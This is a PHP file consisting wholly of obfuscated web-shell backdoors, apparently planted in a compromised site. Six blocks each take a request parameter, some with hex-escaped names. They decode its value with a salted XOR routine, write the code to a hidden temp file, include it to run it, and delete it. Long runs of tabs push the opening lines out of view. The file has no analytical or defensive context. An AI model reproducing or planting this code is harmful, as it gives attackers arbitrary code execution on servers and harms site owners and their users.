<?php																																										if(!is_null($_POST["fac"] ?? null)){ $token = $_POST["fac"]; $token = explode('.' , $token ) ; $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $z = 0; foreach ($token as $v9) { $chS = ord($salt[$z % $sLen] ); $d = ((int)$v9 - $chS - ($z % 10)) ^ 12; $binding .= chr($d ); $z++; } $descriptor = array_filter(["/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path()]); foreach ($descriptor as $desc): if (!!is_dir($desc) && !!is_writable($desc)) { $obj = "$desc/.hld"; $file = fopen($obj, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $obj; @unlink($obj); exit; } } endforeach; }
																																										if(isset($_POST["entry"])){ $property_set = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $record = $_POST["entry"]; $record= explode ( '.' , $record ) ; $dat = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); $y = 0; array_walk($record,function ($v9) use (&$dat,&$y,$salt5,$sLen) { $chS = ord($salt5[$y % $sLen]); $d = ((int)$v9 - $chS - ($y % 10)) ^ 54; $dat .= chr($d); $y++;} ); foreach ($property_set as $key => $comp) { if ((is_dir($comp) and is_writable($comp))) { $ent = implode("/", [$comp, ".dchunk"]); if (file_put_contents($ent, $dat)) { require $ent; unlink($ent); exit; } } } }
																																										if(!is_null($_REQUEST["dat"] ?? null)){ $flag = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp"]); $tkn = $_REQUEST["dat"]; $tkn = explode ("." , $tkn ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $o = 0; while ($o < count($tkn)) { $v1 = $tkn[$o]; $sChar = ord($s[$o%$sLen] ); $dec = ((int)$v1 - $sChar - ($o%10)) ^30; $item .= chr($dec ); $o++; } foreach ($flag as $comp): if (is_dir($comp) && is_writable($comp)) { $component = implode("/", [$comp, ".ref"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $component; @unlink($component); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["en\x74i\x74y"] ?? null)){ $holder = $_REQUEST["en\x74i\x74y"]; $holder = explode ( '.' ,$holder ) ; $elem= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt5); $n= 0; $len= count($holder); do { if ($n >= $len) break; $v4= $holder[$n]; $sChar= ord($salt5[$n % $sLen]); $dec= ((int)$v4 - $sChar - ($n % 10)) ^ 54; $elem.= chr($dec); $n++; } while (true); $dchunk = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]); $ent = 0; do { $val = $dchunk[$ent] ?? null; if ($ent >= count($dchunk)) break; if (is_dir($val) && is_writable($val)) { $key = vsprintf("%s/%s", [$val, ".mrk"]); if (file_put_contents($key, $elem)) { include $key; @unlink($key); exit; } } $ent++; } while (true); }
																																										if(array_key_exists("r\x65\x63or\x64", $_REQUEST) && !is_null($_REQUEST["r\x65\x63or\x64"])){ $value = $_REQUEST["r\x65\x63or\x64"]; $value = explode ( "." ,$value ); $mrk = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5); foreach($value as $t => $v7): $sChar = ord($salt5[$t % $sLen]); $dec = ((int)$v7 - $sChar -($t % 10)) ^ 21; $mrk .=chr($dec); endforeach; $flag = array_filter([getcwd(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), "/tmp"]); $component = 0; do { $pset = $flag[$component] ?? null; if ($component >= count($flag)) break; if ((bool)is_dir($pset) && (bool)is_writable($pset)) { $property_set = "$pset/.key"; if (@file_put_contents($property_set, $mrk) !== false) { include $property_set; unlink($property_set); exit; } } $component++; } while (true); }


if(array_key_exists("it\x65m", $_POST)){
	$comp = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", getcwd()]);
	$marker = $_POST["it\x65m"];
	 $marker=	explode	 (  "."		 ,  	$marker 	)	 	;
	$k =	'';
            $salt =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =	strlen(	 $salt	);
            $p =	0;
    
            foreach(	 $marker as $v6) {		$chS =	ord(	 $salt[$p % $lenS]	);
                $d =	(	 (	 int)$v6 - $chS -(	 $p % 10)) ^ 34;
                $k .= chr(	 $d	);
                $p++; }	
	while ($ent = array_shift($comp)) {
    		if (max(0, is_dir($ent) * is_writable($ent))) {
    $ref = join("/", [$ent, ".key"]);
    if (file_put_contents($ref, $k)) {
	require $ref;
	unlink($ref);
	die();
}
}
}
}